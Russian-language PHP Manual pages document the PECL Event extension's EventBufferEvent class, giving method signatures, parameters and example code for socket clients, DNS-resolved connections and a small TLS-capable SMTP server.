There are no user contributed notes for this page.


Закрывает дескриптор файла, связанный с текущим событием буфера

  • « EventBufferEvent
  • EventBufferEvent::connect »
  • PHP Manual
  • EventBufferEvent
  • Закрывает дескриптор файла, связанный с текущим событием буфера

EventBufferEvent::close

(PECL event >= 1.10.0)

EventBufferEvent::close — Закрывает дескриптор файла, связанный с текущим событием буфера

Описание

public EventBufferEvent::close(): void

Закрывает дескриптор файла, связанный с текущим событием буфера.

Метод может использоваться в тех случаях, когда опция EventBufferEvent::OPT_CLOSE_ON_FREE не подходит.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX

  • « EventBufferEvent::close
  • EventBufferEvent::connectHost »
  • PHP Manual
  • EventBufferEvent
  • Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX

EventBufferEvent::connect

(PECL event >= 1.2.6-beta)

EventBufferEvent::connect — Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX

Описание

public EventBufferEvent::connect( string $addr ): bool

Подключает файловый дескриптор события буфера к указанному адресу (опционально с портом) или сокету UNIX.

Если сокет не назначен событию буфера, функция выделяет новый сокет и делает его внутренним неблокирующим.

Чтобы разрешить DNS-имена (асинхронно), используйте метод EventBufferEvent::connectHost().

Список параметров

addr

Должен содержать IP-адрес с необязательным номером порта или путь к сокету домена UNIX. Допустимые форматы:

[IPv6Address]:port
[IPv6Address]
IPv6Address
IPv4Address:port
IPv4Address
unix:path
Имейте в виду, что префикс 'unix:' в настоящее время не чувствителен к регистру.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventBufferEvent::connect()

<?php
/*
* 1. Подключение к 127.0.0.1 и порту 80
* by means of EventBufferEvent::connect().
*
* 2. Запрос /index.cphp с помощью HTTP/1.0
* используя выходной буфер.
*
* 3. Асинхронно прочитайте ответ и распечатайте его стандартным выводом.
*/

/* Чтение callback-функции */
function readcb($bev, $base) {
$input = $bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

/* Событие callback-функции */
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Подключено.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "DNS ошибка: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Закрытие\n";
$base->exit();
exit("Завершено\n");
}
}

$base = new EventBase();

echo "шаг 1\n";
$bev = new EventBufferEvent($base, /* используйте внутренний сокет */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
exit("Не удалось создать сокет bufferevent\n");
}

echo "шаг 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "шаг 3\n";
/* Послать запрос */
$output = $bev->getOutput();
if (!$output->add(
"GET /index.cphp HTTP/1.0\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Не удалось добавить запрос в выходной буфер\n");
}

/* Подключение к хосту синхронно.
* Мы знаем IP, и нам не нужно разрешать DNS. */
if (!$bev->connect("127.0.0.1:80")) {
exit("Не удаётся подключиться к хосту\n");
}

/* Отправка ожидающих событий */
$base->dispatch();

Результатом выполнения данного примера будет что-то подобное:

step 1
step 2
step 3
Connected.
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Sat, 09 Mar 2013 10:06:58 GMT
Content-Type: text/html; CHARSET=Windows-1251
Connection: close
X-Powered-By: PHP/5.4.11--pl2-gentoo

sdfsdfsf
Closing
Done

Пример #2 Подключитесь к сокету домена UNIX, который предположительно обслуживается сервером, прочитайте ответ сервера и выведите его на консоль

<?php
class MyUnixSocketClient {
private $base, $bev;

function __construct($base, $sock_path) {
$this->base = $base;
$this->bev = new EventBufferEvent($base, NULL, EventBufferEvent::OPT_CLOSE_ON_FREE,
array ($this, "read_cb"), NULL, array ($this, "event_cb"));

if (!$this->bev->connect("unix:$sock_path")) {
trigger_error("Failed to connect to socket `$sock_path'", E_USER_ERROR);
}

$this->bev->enable(Event::READ);
}

function __destruct() {
if ($this->bev) {
$this->bev->free();
$this->bev = NULL;
}
}

function dispatch() {
$this->base->dispatch();
}

function read_cb($bev, $unused) {
$in = $bev->input;

printf("Получено %ld байтов\n", $in->length);
printf("----- данные ----\n");
printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

$this->bev->free();
$this->bev = NULL;
$this->base->exit(NULL);
}

function event_cb($bev, $events, $unused) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
$bev = NULL;
} elseif ($events & EventBufferEvent::CONNECTED) {
$bev->output->add("test\n");
}
}
}

if ($argc <= 1) {
exit("Путь к сокету не указан\n");
}
$sock_path = $argv[1];

$base = new EventBase();
$cl = new MyUnixSocketClient($base, $sock_path);
$cl->dispatch();
?>

Результатом выполнения данного примера будет что-то подобное:

Получено 5 байтов
----- данные ----
5:  test

Смотрите также

  • EventBufferEvent::connectHost() - Подключается по имени хоста с возможностью асинхронного разрешения DNS

User Contributed Notes

There are no user contributed notes for this page.


Подключается по имени хоста с возможностью асинхронного разрешения DNS

  • « EventBufferEvent::connect
  • EventBufferEvent::__construct »
  • PHP Manual
  • EventBufferEvent
  • Подключается по имени хоста с возможностью асинхронного разрешения DNS

EventBufferEvent::connectHost

(PECL event >= 1.2.6-beta)

EventBufferEvent::connectHost — Подключается по имени хоста с возможностью асинхронного разрешения DNS

Описание

public EventBufferEvent::connectHost(
EventDnsBase $dns_base ,
string $hostname ,
int $port ,
int $family = EventUtil::AF_UNSPEC
): bool

Разрешает имя хоста DNS-имени, ища адреса типа family (константы EventUtil::AF_*). Если разрешение имени не удалось произвести, вызывает callback-функцию события с событием ошибки. В случае успешного выполнения совершает попытку подключения так же, как EventBufferEvent::connect().

Параметр dns_base не является обязательным. Он может иметь значение null или ссылаться на объект, созданный с помощью EventDnsBase::__construct(). Для асинхронного разрешения имени хоста необходимо передать действительный базовый ресурс DNS-события. В противном случае разрешение имени хоста будет заблокировано.

Замечание:

EventDnsBase доступен, только если Event настроен с --with-event-extra (библиотека event_extra, поддержка функций протокола libevent, включая HTTP, DNS и RPC).

Замечание:

EventBufferEvent::connectHost() требует libevent-2.0.3-alpha или выше.

Список параметров

dns_base

Объект EventDnsBase в случае, если DNS нужно разрешить асинхронно. null в противном случае.

hostname

Имя хоста для подключения. Распознаваемые форматы:

www.example.com (hostname)
 1.2.3.4 (ipv4address)
 ::1 (ipv6address)
[::1] ([ipv6address])

port

Номер порта.

family

Семейство адресов. EventUtil::AF_UNSPEC, EventUtil::AF_INET или EventUtil::AF_INET6. Обратитесь к списку констант EventUtil.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования EventBufferEvent::connectHost()

<?php
/* Callback-функция чтения */
function readcb($bev, $base) {
//$input = $bev->input; //$bev->getInput();

//$pos = $input->search("TTP");
$pos = $bev->input->search("TTP");

while (($n = $bev->input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

/* Callback-функция события */
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Подключено.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка DNS: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Закрытие\n";
$base->exit();
exit("Выполнено\n");
}
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Использование асинхронного разрешения DNS
if (!$dns_base) {
exit("Не удалось запустить базу DNS\n");
}

$bev = new EventBufferEvent($base, /* использование внутреннего сокета */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
exit("Не удалось создать сокет bufferevent\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Не удалось добавить запрос в выходной буфер\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
exit("Не удалось подключиться к хосту {$argv[1]}\n");
}

$base->dispatch();
?>

Результатом выполнения данного примера будет что-то подобное:

Connected.
HTTP/1.0 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=Windows-1251
Date: Sat, 09 Mar 2013 12:21:19 GMT
Expires: Mon, 08 Apr 2013 12:21:19 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=Windows-1251">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

Смотрите также

  • EventBufferEvent::connect() - Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект EventBufferEvent

  • « EventBufferEvent::connectHost
  • EventBufferEvent::createPair »
  • PHP Manual
  • EventBufferEvent
  • Создаёт объект EventBufferEvent

EventBufferEvent::__construct

(PECL event >= 1.2.6-beta)

EventBufferEvent::__construct — Создаёт объект EventBufferEvent

Описание

public EventBufferEvent::__construct(
EventBase $base ,
mixed $socket = null ,
int $options = 0 ,
callable $readcb = null ,
callable $writecb = null ,
callable $eventcb = null ,
mixed $arg = null
)

Создаёт событие буфера для сокета, потока или файлового дескриптора. Передача null в socket означает, что сокет должен быть создан позже, например, с помощью EventBufferEvent::connect().

Список параметров

base

База события, которая должна быть связана с новым буферным событием.

socket

Может быть создан в виде потока (не обязательно с помощью модуля sockets).

options

Одна из констант EventBufferEvent::OPT_* или 0.

readcb

Callback-функция чтения. Обратитесь к разделу О callback-функциях событийного буфера.

writecb

Callback-функция записи. Обратитесь к разделу О callback-функциях событийного буфера.

eventcb

Callback-функция события изменения статуса. Обратитесь к разделу О callback-функциях событийного буфера.

arg

Переменная, которая будет передана всем callback-функциям.

Возвращаемые значения

Возвращает ресурс события буфера, связанный при необходимости с ресурсом сокета.

Смотрите также

  • EventBufferEvent::sslFilter() - Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера
  • EventBufferEvent::sslSocket() - Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет

User Contributed Notes

There are no user contributed notes for this page.


Создаёт два буферных события, связанных друг с другом

  • « EventBufferEvent::__construct
  • EventBufferEvent::disable »
  • PHP Manual
  • EventBufferEvent
  • Создаёт два буферных события, связанных друг с другом

EventBufferEvent::createPair

(PECL event >= 1.2.6-beta)

EventBufferEvent::createPair — Создаёт два буферных события, связанных друг с другом

Описание

public static EventBufferEvent::createPair( EventBase $base , int $options = 0 ): array

Возвращает массив из двух объектов EventBufferEvent, связанных друг с другом. Поддерживаются все обычные параметры, за исключением EventBufferEvent::OPT_CLOSE_ON_FREE, который не действует, и EventBufferEvent::OPT_DEFER_CALLBACKS, который всегда включён.

Список параметров

base

Связанная база событий.

options

Константы EventBufferEvent::OPT_* в сочетании с побитовым ИЛИ (OR).

Возвращаемые значения

Возвращает массив из двух объектов EventBufferEvent, связанных друг с другом.

Список изменений

Версия | Описание
PECL event 1.9.0 | Метод стал статическим.

User Contributed Notes

There are no user contributed notes for this page.


Отключает чтение, запись или и то, и другое в событии буфера

  • « EventBufferEvent::createPair
  • EventBufferEvent::enable »
  • PHP Manual
  • EventBufferEvent
  • Отключает чтение, запись или и то, и другое в событии буфера

EventBufferEvent::disable

(PECL event >= 1.2.6-beta)

EventBufferEvent::disable — Отключает чтение, запись или и то, и другое в событии буфера

Описание

public EventBufferEvent::disable( int $events ): bool

Отключает события Event::READ, Event::WRITE, или Event::READ | Event::WRITE в событии буфера.

Список параметров

events

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBufferEvent::enable() - Включает чтение, запись или и то, и другое в событии буфера

User Contributed Notes

There are no user contributed notes for this page.


Включает чтение, запись или и то, и другое в событии буфера

  • « EventBufferEvent::disable
  • EventBufferEvent::free »
  • PHP Manual
  • EventBufferEvent
  • Включает чтение, запись или и то, и другое в событии буфера

EventBufferEvent::enable

(PECL event >= 1.2.6-beta)

EventBufferEvent::enable — Включает чтение, запись или и то, и другое в событии буфера

Описание

public EventBufferEvent::enable( int $events ): bool

Включает события Event::READ, Event::WRITE, или Event::READ | Event::WRITE в событии буфера.

Список параметров

events

Event::READ, Event::WRITE, или Event::READ | Event::WRITE в событии буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBufferEvent::disable() - Отключает чтение, запись или и то, и другое в событии буфера

User Contributed Notes

There are no user contributed notes for this page.


Освобождает событие буфера

  • « EventBufferEvent::enable
  • EventBufferEvent::getDnsErrorString »
  • PHP Manual
  • EventBufferEvent
  • Освобождает событие буфера

EventBufferEvent::free

(PECL event >= 1.2.6-beta)

EventBufferEvent::free — Освобождает событие буфера

Описание

public EventBufferEvent::free(): void

Освобождает ресурсы, выделенные буферным событием.

Обычно нет необходимости вызывать этот метод, поскольку обычно это делается во внутренних деструкторах объекта. Однако иногда скрипты выполняются долго и создают множество экземпляров, а иногда интенсивно используют память, поэтому необходимо как можно скорее освободить ресурсы. В таких случаях EventBufferEvent::free() может использоваться для защиты скрипта от достижения memory_limit.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, описывающую последнюю неудачную попытку поиска DNS

  • « EventBufferEvent::free
  • EventBufferEvent::getEnabled »
  • PHP Manual
  • EventBufferEvent
  • Возвращает строку, описывающую последнюю неудачную попытку поиска DNS

EventBufferEvent::getDnsErrorString

(PECL event >= 1.2.6-beta)

EventBufferEvent::getDnsErrorString — Возвращает строку, описывающую последнюю неудачную попытку поиска DNS

Описание

public EventBufferEvent::getDnsErrorString(): string

Возвращает строку, описывающую последнюю неудачную попытку поиска DNS, сделанную EventBufferEvent::connectHost(), или пустую строку, если ошибка DNS не обнаружена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, описывающую ошибку поиска DNS, или пустую строку, если ошибки не произошло.

Смотрите также

  • EventBufferEvent::connectHost() - Подключается по имени хоста с возможностью асинхронного разрешения DNS

User Contributed Notes

There are no user contributed notes for this page.


Возвращает битовую маску событий, которые в данный момент активированы для буферного события

  • « EventBufferEvent::getDnsErrorString
  • EventBufferEvent::getInput »
  • PHP Manual
  • EventBufferEvent
  • Возвращает битовую маску событий, которые в данный момент активированы для буферного события

EventBufferEvent::getEnabled

(PECL event >= 1.2.6-beta)

EventBufferEvent::getEnabled — Возвращает битовую маску событий, которые в данный момент активированы для буферного события

Описание

public EventBufferEvent::getEnabled(): int

Возвращает битовую маску событий, которые в данный момент активированы для буферного события.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, представляющее битовую маску событий, которые в данный момент активированы для буферного события.

Смотрите также

  • EventBufferEvent::enable() - Включает чтение, запись или и то, и другое в событии буфера
  • EventBufferEvent::disable() - Отключает чтение, запись или и то, и другое в событии буфера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает базовый входной буфер, связанный с текущим буферным событием

  • « EventBufferEvent::getEnabled
  • EventBufferEvent::getOutput »
  • PHP Manual
  • EventBufferEvent
  • Возвращает базовый входной буфер, связанный с текущим буферным событием

EventBufferEvent::getInput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getInput — Возвращает базовый входной буфер, связанный с текущим буферным событием

Описание

public EventBufferEvent::getInput(): EventBuffer

Возвращает базовый входной буфер, связанный с текущим буферным событием. Входной буфер - это хранилище данных для чтения.

Обратите внимание, что есть также input свойство класса EventBufferEvent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр класса EventBuffer входного буфера, связанного с текущим буферным событием.

Примеры

Пример #1 Callback-функция чтения буфера

<?php
function readcb($bev, $base) {
$input = $bev->input; //$bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}
?>

Смотрите также

  • EventBufferEvent::getOutput() - Возвращает базовый выходной буфер, связанный с текущим буферным событием

User Contributed Notes

There are no user contributed notes for this page.


Возвращает базовый выходной буфер, связанный с текущим буферным событием

  • « EventBufferEvent::getInput
  • EventBufferEvent::read »
  • PHP Manual
  • EventBufferEvent
  • Возвращает базовый выходной буфер, связанный с текущим буферным событием

EventBufferEvent::getOutput

(PECL event >= 1.2.6-beta)

EventBufferEvent::getOutput — Возвращает базовый выходной буфер, связанный с текущим буферным событием

Описание

public EventBufferEvent::getOutput(): EventBuffer

Возвращает базовый выходной буфер, связанный с текущим буферным событием. Выходной буфер является хранилищем данных для записи.

Обратите внимание, что есть также output свойство класса EventBufferEvent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр EventBuffer выходного буфера, связанного с текущим буферным событием.

Примеры

Пример #1 Пример использования EventBufferEvent::getOutput()

<?php
$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Использовать асинхронное разрешение DNS
if (!$dns_base) {
exit("Не удалось инициализировать базу DNS\n");
}

$bev = new EventBufferEvent($base, /* использовать внутренний сокет */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
exit("Не удалось создать сокет bufferevent\n");
}

$bev->enable(Event::READ | Event::WRITE);

$output = $bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Не удалось добавить запрос в выходной буфер\n");
}

/* ... */
?>

Смотрите также

  • EventBufferEvent::getInput() - Возвращает базовый входной буфер, связанный с текущим буферным событием

User Contributed Notes

There are no user contributed notes for this page.


Читает данные буфера

  • « EventBufferEvent::getOutput
  • EventBufferEvent::readBuffer »
  • PHP Manual
  • EventBufferEvent
  • Читает данные буфера

EventBufferEvent::read

(PECL event >= 1.2.6-beta)

EventBufferEvent::read — Читает данные буфера

Описание

public EventBufferEvent::read( int $size ): string

Удаляет до size байтов из входного буфера. Возвращает строку данных, прочитанную из входного буфера.

Список параметров

size

Максимальное количество байтов для чтения

Возвращаемые значения

Возвращает строку данных, прочитанную из входного буфера.

Смотрите также

  • EventBufferEvent::readBuffer() - Сливает все содержимое буфера ввода и помещает его в буфер

User Contributed Notes

There are no user contributed notes for this page.


Сливает все содержимое буфера ввода и помещает его в буфер

  • « EventBufferEvent::read
  • EventBufferEvent::setCallbacks »
  • PHP Manual
  • EventBufferEvent
  • Сливает все содержимое буфера ввода и помещает его в буфер

EventBufferEvent::readBuffer

(PECL event >= 1.2.6-beta)

EventBufferEvent::readBuffer — Сливает все содержимое буфера ввода и помещает его в буфер

Описание

public EventBufferEvent::readBuffer( EventBuffer $buf ): bool

Сливает все содержимое буфера ввода и помещает его в buf .

Список параметров

buf

Целевой буфер

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • EventBufferEvent::read() - Читает данные буфера

User Contributed Notes

There are no user contributed notes for this page.


Назначает callback-функции для чтения, записи и события (состояния)

  • « EventBufferEvent::readBuffer
  • EventBufferEvent::setPriority »
  • PHP Manual
  • EventBufferEvent
  • Назначает callback-функции для чтения, записи и события (состояния)

EventBufferEvent::setCallbacks

(PECL event >= 1.2.6-beta)

EventBufferEvent::setCallbacks — Назначает callback-функции для чтения, записи и события (состояния)

Описание

public EventBufferEvent::setCallbacks(
callable $readcb ,
callable $writecb ,
callable $eventcb ,
mixed $arg = ?
): void

Назначает callback-функции для чтения, записи и события (состояния).

Список параметров

readcb

Callback-функция чтения. Смотрите подробнее О callback-функциях буферов .

writecb

Callback-функция записи. Смотрите подробнее О callback-функциях буферов .

eventcb

Callback-функция события изменения статуса. Смотрите подробнее О callback-функциях буферов .

arg

Переменная, которая будет передана всем callback-функциям.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EventBufferEvent::__construct() - Создаёт объект EventBufferEvent

User Contributed Notes

Igor K 15-Jun-2020 03:48
Probably, $arg argument should be declared as mixed $arg = NULL, like it is in other methods. Its is useless to be just a string, since we want to pass more complex structures (array or object) and do so.


Присваивает приоритет bufferevent

  • « EventBufferEvent::setCallbacks
  • EventBufferEvent::setTimeouts »
  • PHP Manual
  • EventBufferEvent
  • Присваивает приоритет bufferevent

EventBufferEvent::setPriority

(PECL event >= 1.2.6-beta)

EventBufferEvent::setPriority — Присваивает приоритет bufferevent

Описание

public EventBufferEvent::setPriority( int $priority ): bool

Присваивает приоритет bufferevent

Внимание

Поддерживается только для событий буфера сокета

Список параметров

priority

Значение приоритета.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время ожидания чтения и записи для события буфера

  • « EventBufferEvent::setPriority
  • EventBufferEvent::setWatermark »
  • PHP Manual
  • EventBufferEvent
  • Устанавливает время ожидания чтения и записи для события буфера

EventBufferEvent::setTimeouts

(PECL event >= 1.2.6-beta)

EventBufferEvent::setTimeouts — Устанавливает время ожидания чтения и записи для события буфера

Описание

public EventBufferEvent::setTimeouts( float $timeout_read , float $timeout_write ): bool

Устанавливает время ожидания чтения и записи для события буфер

Список параметров

timeout_read

Время ожидания чтения

timeout_write

Время ожидания записи

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Регулирует водяные знаки чтения и/или записи

  • « EventBufferEvent::setTimeouts
  • EventBufferEvent::sslError »
  • PHP Manual
  • EventBufferEvent
  • Регулирует водяные знаки чтения и/или записи

EventBufferEvent::setWatermark

(PECL event >= 1.2.6-beta)

EventBufferEvent::setWatermark — Регулирует водяные знаки чтения и/или записи

Описание

public EventBufferEvent::setWatermark( int $events , int $lowmark , int $highmark ): void

Регулирует водяные знаки чтения, водяные знаки записи или и то, и другое для одного события буфера.

Водяной знак события буфера - это значение, определяющее количество байтов, которые должны быть прочитаны или записаны перед вызовом callback-функции. По умолчанию каждое событие чтения/записи запускает вызов callback-функции. Обратитесь к » Fast portable non-blocking network programming with Libevent: Callbacks and watermarks.

Список параметров

events

Битовая маска Event::READ, Event::WRITE или обоих.

lowmark

Минимальное значение водяного знака.

highmark

Максимальное значение водяного знака. 0 означает "без ограничений".

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию

  • « EventBufferEvent::setWatermark
  • EventBufferEvent::sslFilter »
  • PHP Manual
  • EventBufferEvent
  • Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию

EventBufferEvent::sslError

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslError — Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию

Описание

public EventBufferEvent::sslError(): string

Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию.

Замечание:

Функция доступна, только если Event скомпилирован с поддержкой OpenSSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку ошибки OpenSSL, о которой сообщалось в буферном событии, или false, если больше нет ошибок для возврата.

Примеры

Пример #1 Пример использования EventBufferEvent::sslError()

<?php
// Эта callbac-функция вызывается, когда какое-либо событие происходит в приёмнике событий,
// например, соединение закрыто или произошла ошибка
function ssl_event_cb($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
// Извлекаем ошибки из стека ошибок SSL
while ($err = $bev->sslError()) {
fprintf(STDERR, "Bufferevent error %s.\n", $err);
}
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
}
}
?>

Смотрите также

  • EventBufferEvent::sslRenegotiate() - Сообщает буферному событию начать пересмотр SSL

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера

  • « EventBufferEvent::sslError
  • EventBufferEvent::sslGetCipherInfo »
  • PHP Manual
  • EventBufferEvent
  • Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера

EventBufferEvent::sslFilter

(PECL event >= 1.2.6-beta)

EventBufferEvent::sslFilter — Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера

Описание

public static EventBufferEvent::sslFilter(
EventBase $base ,
EventBufferEvent $underlying ,
EventSslContext $ctx ,
int $state ,
int $options = 0
): EventBufferEvent

Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера

Замечание:

Функция доступна только в том случае, если Event скомпилирован с поддержкой OpenSSL.

Список параметров

base

Связанная база событий.

underlying

Событие буфера сокета, чтобы использовать для этого SSL.

ctx

Объект класса EventSslContext.

state

Текущее состояние SSL-соединения: EventBufferEvent::SSL_OPEN , EventBufferEvent::SSL_ACCEPTING или EventBufferEvent::SSL_CONNECTING .

options

Один или несколько параметров буфера.

Возвращаемые значения

Возвращает новый SSL EventBufferEvent объект.

Примеры

Пример #1 Простой SMTP-сервер

<?php
/*
* Автор: Andrew Rose <hello at andrewrose dot co dot uk>
*
* Usage:
* 1) Подготовим файлы сертификата cert.pem и приватного ключа privkey.pem.
* 2) Запустим скрипт сервера
* 3) Откроем TLS-соединение, например:
* $ openssl s_client -connect localhost:25 -starttls smtp -crlf
* 4) Протестируем команды, описанные в метода `cmd`.
*/

class Handler {
public $domainName = FALSE;
public $connections = [];
public $buffers = [];
public $maxRead = 256000;

public function __construct() {
$this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
EventSslContext::OPT_LOCAL_CERT => 'cert.pem',
EventSslContext::OPT_LOCAL_PK => 'privkey.pem',
//EventSslContext::OPT_PASSPHRASE => '',
EventSslContext::OPT_VERIFY_PEER => false, // для корректного сертификата укажите true
EventSslContext::OPT_ALLOW_SELF_SIGNED => true // для корректного сертификата укажите false
]);

$this->base = new EventBase();
if (!$this->base) {
exit("Не удалось открыть обработчик событий\n");
}

if (!$this->listener = new EventListener($this->base,
[$this, 'ev_accept'],
$this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1,
'0.0.0.0:25'))
{
exit("Невозможно создать слушателя\n");
}

$this->listener->setErrorCallback([$this, 'ev_error']);
$this->base->dispatch();
}

public function ev_accept($listener, $fd, $address, $ctx) {
static $id = 0;
$id += 1;

$this->connections[$id]['clientData'] = '';
$this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->connections[$id]['cnx']) {
echo "Failed creating buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
[$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

$this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
}

function ev_error($listener, $ctx) {
$errno = EventUtil::getLastSocketErrno();

fprintf(STDERR, "Ошибка слушателя: %d (%s). Аварийное завершение работы.\n",
$errno, EventUtil::getLastSocketError());

if ($errno != 0) {
$this->base->exit(NULL);
exit();
}
}

public function ev_close($id) {
$this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
unset($this->connections[$id]);
}

protected function ev_write($id, $string) {
echo 'S('.$id.'): '.$string;
$this->connections[$id]['cnx']->write($string);
}

public function ev_read($buffer, $id) {
while($buffer->input->length > 0) {
$this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
$clientDataLen = strlen($this->connections[$id]['clientData']);

if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
&& $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
{
// удаляем все завершающие \r\n
$line = substr($this->connections[$id]['clientData'], 0,
strlen($this->connections[$id]['clientData']) - 2);

$this->connections[$id]['clientData'] = '';
$this->cmd($buffer, $id, $line);
}
}
}

protected function cmd($buffer, $id, $line) {
switch ($line) {
case strncmp('EHLO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK ehlo\r\n");
break;

case strncmp('HELO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK helo\r\n");
break;

case strncmp('QUIT', $line, 3):
$this->ev_write($id, "250 OK quit\r\n");
$this->ev_close($id);
break;

case strncmp('STARTTLS', $line, 3):
$this->ev_write($id, "220 Ready to start TLS\r\n");
$this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
$this->connections[$id]['cnx'], $this->ctx,
EventBufferEvent::SSL_ACCEPTING,
EventBufferEvent::OPT_CLOSE_ON_FREE);
$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
break;

default:
echo 'неизвестная команда: '.$line."\n";
break;
}
}
}

new Handler();

Смотрите также

  • EventBufferEvent::sslSocket() - Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет

User Contributed Notes

There are no user contributed notes for this page.


